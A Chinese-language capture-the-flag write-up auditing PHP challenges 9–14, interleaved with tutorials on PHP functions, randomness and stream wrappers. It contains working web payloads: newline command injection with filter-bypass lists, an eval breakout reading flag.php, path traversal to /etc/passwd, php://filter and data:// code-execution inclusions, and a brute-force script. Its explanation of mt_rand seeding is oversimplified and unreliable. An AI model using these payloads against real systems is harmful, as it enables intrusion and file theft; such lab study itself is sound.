PHP代码审计

 

challenge 9

访问页面,查看源码

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo $target;
    echo  "
<pre>{$cmd}</pre>";
}
show_source(__FILE__);
?>

观察代码,发现主要获取的用户输入的IP参数,然后进行ping命令操作。

而且其中过滤很多管道符,不过依然可以使用%0als进行绕过。

payload:

?ip=127.0.0.1%0als

可以查看到flag.php位置,在使用cat命令读取flag.php文件内容。<br />payload:

?ip=127.0.0.1%0acat flag.php

trim() 函数

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

一般是用来去除字符串首尾处的空白字符(或者其他字符),一般在用在服务端对接收的用户数据进行处理,以免把用户误输入的空格存储到数据库,下次对比数据时候出错。

常见绕过空格命令分隔符

1、%0a符号:换行符

2、%0d符号:回车符

3、< 号

4、%09符号

5、$IFS$9(数字无限制)符号

6、${IFS}符号

7、,号

8、<>号

9、$IFS符号

10、以及过滤掉的内容

challenge 10

题目内容:

<?php 
require __DIR__.'/flag.php';
if (isset($_POST['answer'])){ 
    $number = $_POST['answer']; 
    if (noother_says_correct($number)){ 
        echo $flag; 
    }  else { 
        echo "Sorry"; 
    } 
} 

function noother_says_correct($number) 
{ 
    $one = ord('1'); 
    $nine = ord('9'); 
    # Check all the input characters! 
    for ($i = 0; $i < strlen($number); $i++) 
    { 
        # Disallow all the digits! 
        $digit = ord($number{$i}); 
        if ( ($digit >= $one) && ($digit <= $nine) ) 
        { 
            # Aha, digit not allowed! 
            return false; 
        } 
    } 
    # Allow the magic number ... 
    return $number == "3735929054"; 
} 

highlight_file(__FILE__);
?>

观察题目,发现题目并不复杂。

发现其中:

for ($i = 0; $i < strlen($number); $i++) 
    { 
        # Disallow all the digits! 
        $digit = ord($number{$i}); 
        if ( ($digit >= $one) && ($digit <= $nine) ) 
        { 
            # Aha, digit not allowed! 
            return false; 
        } 
    }

发现要求传入的每一个值都不能大于等于1小于等于9

如果满足条件,则进行判断

$number == "3735929054";

传入的值需与3735929054一致,看到这里,我们应该就会想到PHP弱类型比较

我们查看一下3735929054的其他进制内容

发现

>>> hex(3735929054)
'0xdeadc0de'

十六进制的3735929054,只包含字母与0,满足条件

所以

"0xdeadc0de" == "3735929054"

payload:

POST: answer=0xdeadc0de

ord() 函数

ord() 函数:返回字符串的首个字符的 ASCII 值。

challenge 11

查看题目

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

发现使用了

preg_match('/^\w*$/',$a )

进行正则匹配,要求hello的输入必须为数字和字母的组合。

继续查看下方,发现存在eval()函数,查看是否可以进行闭合var_dump(),造成命令执行。

查看发现过滤了符号,无法闭合,所以不能通过闭合var_dump()造成命令执行。

不过,发现var_dump()中存在$$a,可以输出对应的变量值,但前提是需要知道flag的变量名,如果不知道,爆破也不知道从哪里开始。

不过PHP中还存在一个特殊的变量,引用全局作用域中可用的全部变量:

$GLOBALS    #(具体方法解释可向下方查看)

所以构造payload:

?hello=GLOBALS

当然使用POST进行传输也可以,主要的关键就是

var_dump($GLOBALS)

会遍历所有可以遍历的内容,有兴趣的可以自己试一试,就比如

preg_match() 函数

preg_match 函数用于执行一个正则表达式匹配。

语法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

返回值:返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

参数说明:

参数说明:

$pattern: 要搜索的模式,字符串形式。

$subject: 输入字符串。

$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。

$flags:flags 可以被设置为以下标记值:

PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。

注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。

offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。

举个例子,比如:

查找文本字符串”php”:

<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
    echo "查找到匹配的字符串 php。";
} else {
    echo "未发现匹配的字符串 php。";
}
?>

执行结果如下所示:

查找到匹配的字符串 php。
$_REQUEST、$_POST、$_GET的区别和联系
  1. $_REQUEST

PHP中,$_REQUEST可以获取POST方法和GET方法提交的数据,但是传输的速度相对较慢。<br />2. $_GET

$_GET用来获取由浏览器通过$_GET方法提交的数据。$_GET方法就是通过把参数数据加在提交表单的action属性所指的URL中,值和表单内的每个字段一一对应,并且在URL中可以看到,但是同样也存在问题:

  • 安全性差,在URL中可以体现
  • 传输数据量较小,不能大于2KB。
  1. $_POST

$_POST用来获取由浏览器通过POST方法提交的数据。$_POST方法是通过HTTP POST机制,将表单的各个字段放置在HTTP HEADER内一起传送到action属性所指的URL中,用户看不到此过程。提交的大小一般来说不受限制,但是具体根据服务器的不同,略有不同,比如PHP版本5.512,默认POST最大值为3M,有的则为8M,IIS6默认最大则为200K。

相对于$_GET方法安全性稍高。<br />4. 三者之间的区别和联系

$_REQUEST[“参数”]具用$_POST[“参数”], $_GET[“参数”]的功能,但是$_REQUEST[“参数”]比较慢。通过$_POST和$_GET方法提交的所有数据都可以通过$_REQUEST数组[“参数”]获得。

$GLOBALS超全局变量分析

PHP中有一个鲜为人知的超全局变量$GLOBALS。

$GLOBALS定义:引用全局作用域中可用的全部变量(一个包含了全部变量的组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中的任何地方都是可用的,可以通过打印$GLOBALS变量查看结果验证。

在PHP生命周期中,定义在函数体外部的全局变量,函数内部是不能直接获得的。如果要在函数体内访问外部定义的全局变量,可以通过global声明或者直接使用$GLOBALS来进行访问。

比如:

<?php
$var1='www.tidesec.com';
$var2='www.tidesec.net';
test();
function test(){
    $var1='tide';
    echo $var1,'<br />';
    global $var1;
    echo $var1,'<br />';
    echo $GLOBALS['var2'];
}

输出结果为:

tide
www.tidesec.com
www.tidesec.net

其中global和$GLOBALS的区别:

$GLOBALS[‘var’]是外部全局变量的本身,而global $var则是外部$var的同名引用或者说是指针,也就是说global函数产生一个指向函数外部变量的别名变量,而不是真正的函数外部变量,而$GLOBALS[]确确实实调用的是外部的变量,函数内外都会始终保持一致。

举个例子:

$var1=tide;
$var2=tidesec;
function test(){
    $GLOBALS['var2']=&$GLOBALS['var1'];
}  
test();
echo $var2;

结果为:

tide

$var1=tide;
$var2=tidesec;
function test(){
    global $var1,$var2;
    $var2=&$var1;
}  
test();
echo $var2;

结果为:

tidesec

结果之所以为tidesec,原因为$var1的引用指向了$var2的引用地址。导致实质的值没有发生变化。


$var1=tide;
function test(){
    global $var1;
    unset($var1);
}  
test();
echo $var1;

结果为:

tide

这就说明,删除的只是别名或者说是引用,其本身作用的值没有受到任何的影响。也就是说,global $var其实是$var = &$GLOBALS[‘var’],调用外部变量的一个别名而已。

challenge 12

访问页面,获得逻辑源码

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

观察题目,发现其中没有什么特别需要注意的地方,直接输出了$a,也就是hello参数的值,而且题目显示flag也不在变量中,也无法使用上一题学习到的$GLOBALS超全局变量进行遍历,也没有过滤。

所以之只能考虑闭合var_dump($a)函数并构造其他的语句进行执行,并且因为flag在flag.php中,所以我们考虑直接打印flag.php内容。

构造payload:

?hello=);var_dump(file("flag.php"));//

构造出

var_dump();var_dump(file("flag.php"));//);

成功读取到flag.php文件内容。

challenge 13

访问页面,查看源码信息。

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

观察代码,发现主要限制在于

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

其中参数whoami要满足两个条件,一个是满足whoami输入的值与产生的随机值相等,另一个条件就是要满足md5($value)从第五位取,取四位,能够==0,其中后一个条件其实可以通过PHP的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足(md5($value),5,4) == 0。

另外需要满足的条件就是

if($_SESSION['nums']>=10){
  echo $flag;
}

需要在120秒内,连续取访问10次,条件都满足的情况下,可以得到flag。

作者给出了相关的脚本进行破解

import requests
import hashlib
import random

def get_value(given):
    global dict_az
    for i in range(1000000):
        result = given
        result += random.choice(dict_az)
        result += random.choice(dict_az)
        result += random.choice(dict_az)
        result += random.choice(dict_az)
        result += random.choice(dict_az)
        result += random.choice(dict_az)
        m = hashlib.md5(result)
        m = m.hexdigest()
        if m[5:9] == "0000":
            print "success"
            return result
        else:
            pass


def main(url_s):
    session = requests.Session()
    result = "ea"
    for i in range(10):
        url = url_s
        resp = session.get(url+result)
        the_page = resp.text
        result = get_value(the_page[0:2])
        print "nums = %d" % i
    print the_page


if __name__ == "__main__":
    dict_az = "abcdefghijklmnopqrstuvwxyz"
    url = "http://IP:PORT/challenge13.php?value="
    main(url)

其实可以看到,破解脚本中采用的是绝对的选择,也就是说,除第一次请求外,每次请求都会回显产生的随机数,然后在其后面进行拼接,拼接6个。在脚本中需要满足的条件是产生的6位内容需要满足

m[5:9] == "0000"

经过测试发现,拼接的内容可以4位,不必6位,原因就是使用弱比较,当然,这个地方的判断条件是绝对满足的,所以扩大拼接位数,可以更容易的满足条件。

result += random.choice(dict_az)

其实,除了第一次传输的whoami为ea,后面需要传输的值都是前一次传输返回生成的随机值,使用返回生成的随机值+字母(第3位)+任意值(第4-6位)就可以满足,如果手速够快,获取也可以(手动滑稽)

mt_srand()

mt_srand() 播种 Mersenne Twister 随机数生成器。

注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

PHP随机函数

PHP随机函数主要有rand、mt_rand、array_rand,还有随机”排列”(打乱顺序)的函数shuffle、str_shuffle,以及能够产生唯一ID的uniqid。

1、rand()

  • rand()函数返回随机整数。
  • 如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。
  • rand()函数是使用libc的随机数发生器生成随机数的,一般较慢,且有不确定因素。
  • 其中getrandmax()函数可以返回rand函数能够产生的最大的随机数,在设置rand()函数第二个参数时可以设置为getrandmax()的返回值。
  • 比如:
<?php
$base = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$count = strlen($base);
$random = '';
for ($i=0; $i < 16; $i++) { 
 $random.=$base[rand(0,$count-1)];
}
echo $random;
echo "<br/>";
echo getrandmax();
?>

2、mt_rand()函数

  • mt_rand() 使用 Mersenne Twister 算法返回随机整数。
  • 如果没有提供可选参数 min 和 max,mt_rand() 返回 0 到 RAND_MAX 之间的伪随机数。例如想要 5 到 15(包括 5 和 15)之间的随机数,用 mt_rand(5, 15)。
  • 很多老的 libc 的随机数发生器具有一些不确定和未知的特性而且很慢。PHP 的 rand() 函数默认使用 libc 随机数发生器。mt_rand() 函数是非正式用来替换它的。该函数用了 Mersenne Twister 中已知的特性作为随机数发生器,它可以产生随机数值的平均速度比 libc 提供的 rand() 快四倍。
  • 注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现在已自动完成。
  • 比如:
<?php
echo(mt_rand());
echo(mt_rand());
echo(mt_rand(10,100));
?>

3、array_rand()函数

  • array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
  • array_rand() 函数从数组中随机选出一个或多个元素,并返回。
  • 第二个参数用来确定要选出几个元素。如果选出的元素不止一个,则返回包含随机键名的数组,否则返回该元素的键名。
  • 比如:
<?php
$a=array("red","green","blue","yellow","brown");
$random_keys=array_rand($a,3);
echo $a[$random_keys[0]]."<br>";
echo $a[$random_keys[1]]."<br>";
echo $a[$random_keys[2]];
?>

4、shuffle()函数

  • shuffle() 函数把数组中的元素按随机顺序重新排列。
  • 该函数为数组中的元素分配新的键名。已有键名将被删除。
  • 比如:
<?php
$my_array = array("red","green","blue","yellow","purple");

shuffle($my_array);
print_r($my_array);
?>

5、str_shuffle()函数

  • str_shuffle() 函数随机打乱字符串中的所有字符。
  • 比如
<?php
echo str_shuffle("I love Shanghai");
?>
  • str_shuffle()函数功能上与shuffle()函数功能类似,唯一不同的是返回值,str_shuffle的原字符串是不变的。

6、uniqid()函数

  • uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
  • 语法:
uniqid(prefix,more_entropy)
  • 如果 prefix 参数为空,则返回的字符串有 13 个字符串长。如果 more_entropy 参数设置为 true,则是 23 个字符串长。
  • 如果 more_entropy 参数设置为 true,则在返回值的末尾添加额外的熵(使用组合线形同余数生成程序),这样可以结果的唯一性更好。
  • 返回值:以字符串的形式返回唯一标识符。
  • 注释:由于基于系统时间,通过该函数生成的 ID 不是最佳的。如需生成绝对唯一的 ID,请使用 md5() 函数。
  • 如果单独使用uniqid()方法,不带任何参数的话,这个方法只能保证单个进程,在同一个毫秒内是唯一的。如果使用uniqid(“”,true),带了一个墒值,自身已经有一个随机的方法能保证生成的id的随机性。但是由于线性同余是比较简单的生成随机数的算法,随机性有可能还不够。所以大多数采用的方法为:
nuiqid(mt_rand(), true)
  • 其中mt_rand()生成随机数是采用Mersenne Twister Random Number Generator (梅森旋转算法)而不是线性同余的方法生成。
  • 这样的话就由两种随机算法和时间戳生成,能够在很大程度上保证唯一性,这种方法给出的id会有一个点号,而且长度并不是128bit。
  • 不过,nuiqid()函数基于微秒级当前时间戳,在高并发或者时间间隔极短(如循环代码)的情况下,会出下大量的重复数据。
  • 所以官方推荐使用md5进行结合。
md5(uniqid(mt_rand(), true))
md5(uniqid(md5(microtime(true)),true))
  • 其中microtime() 函数返回当前 Unix 时间戳的微秒数。
mt_rand()函数安全问题
  • 不过需要注意的是,因为mt_rand()随机数的安全问题已经出现了很多,简单来说造成的原因就是mt_rand()函数并不是一个真随机数生成函数,实际上绝大部分编程语言中的随机数函数生成都是伪随机数。
  • 伪随机数是由可确定的函数(常用线性同余),通过一个种子(常用时钟),产生的伪随机数。这意味着,如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。
  • 简单的来说明一下,mt_rand()内部生成随机数的函数为:
rand = seed + (i * 10)
  • 其中seed是随机数种子,i是第几次调用这个随机数函数。如果我们同时知道i和rand两个值的时候,就能很容易的算出seed的值来。比如rand = 21,i = 2带入函数,21 = seed + (2 * 10)得到seed = 1。也就是说,当拿到seed之后,就能计算出当i为任意值时rand的值。
  • 之所以说会有很多的不安全性,也不值函数本身,函数本事并没有问题,而且官方也明确提示了生成的随机数不应用与安全加密用途。那所产生的不安全性来自于哪里,其实来自于开发者本身,当开发者为认识到这并不是一个真随机数时,就会出现安全问题。
  • 刚刚所说,通过已知的随机数序列可以爆破出种子,也就是说,只要任意页面中存在随机数或者其衍生值(可逆推随机值),那么其他任意页面的随机数将不再是”随机数”。
  • 常见的输出随机数的例子比如验证码,随机文件名等。
  • 常见的随机数用于安全验证的比如找回密码校验值,比如加密key等。
  • 来幻想一下…当apache(nginx)回收所有PHP进程(确保下次访问会重新播种),访问一次验证码页面,根据验证码字符逆推出随机数,再根据随机数爆破出随机数种子。然后访问找回密码页面,生成的找回密码链接是基于随机数的,然后就可以计算出这个链接,找回管理员用户密码…虽然是幻想,但要是有一天实现了呢

challenge 14

访问页面,观察逻辑代码

<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}

发现代码中include直接进行拼接$_REQUEST[‘path’],没有进行任何的过滤,判断为文件包含。

进行尝试,访问/etc/passwd查看是否可以访问

?path=../../../../etc/passwd

发现可以读取。

但是发现无法获取flag文件的位置以及文件名

这时候想到phpinfo信息中,包含有php配置,其中allow_url_include如果为on的话,我们就可以使用PHP伪协议进行访问,查找配置,发现allow_url_include为on,所以使用php://filter来读取目标文件。

构造payload:

?path=php://filter/convert.base64-encode/resource=flag.php

得到base64加密后的flag结果,进行base64解密得到。

文件包含相关函数

其中涉及到文件包含的函数有:

include
require
include_once
require_once
highlight_file 
show_source 
readfile 
file_get_contents 
fopen
file
PHP伪协议

要满足PHP伪协议,基于函数include和include_once()的利用情况。

另外就是PHP.ini环境问题:

allow_url_fopen: On 默认开启,选项为On时,激活了URL形式的fopen封装协议,就可以访问URL对象文件
allow_url_include: Off  默认关闭,选项为On时,允许包含URL对象文件。

是否需要截断:PHP版本<=5.2可以使用%00进行截断。

比如:

http://127.0.0.1/test.php?file=file:///d:/test/test/flag.txt%00

<?php

include($_GET['file'].’.php’)

?>

常用协议:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

利用条件:

1、协议:file://

  • 利用条件:allow_url_fopen和allow_url_include双Off情况下可正常使用
  • 说明:访问本地文件系统
  • 用法:file://文件绝对路径和文件名

2、协议:php://

  • 利用条件:不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
  • 说明:访问IO流
  • 用法:php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。

3、协议:zip://,bzip2://,zlib://

  • 利用条件:双Off条件下可使用
  • 说明:zip://test.zip#x.txt zip://绝对路径#子文件名
  • x.txt内容就会以php代码执行
  • compress.bzip2://test.bz2和compress.zlib://test.gz用法相同
  • /include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg
  • 用法:可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

4、协议:data://

  • 利用条件:双On
  • 说明:
/include.php?file=data://text/plain,<?php phpinfo();?>
或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4= 
或者 data:text/plain,<?php phpinfo();?>
或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
  • 同样以string可写入php代码,并执行

总结一下,其中仅php://input、php://stdin、php://memory、php://temp需要开启allow_url_include,其中php://访问各个输入/输出流(I/O streams),php://filter用于读取源码,php://input用于执行php代码。

php://input可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,而且不需要指定后缀名。

其中需要注意的是,php://filter读取源代码需要使用base64编码输出,不然会当作php代码直接执行。

(完)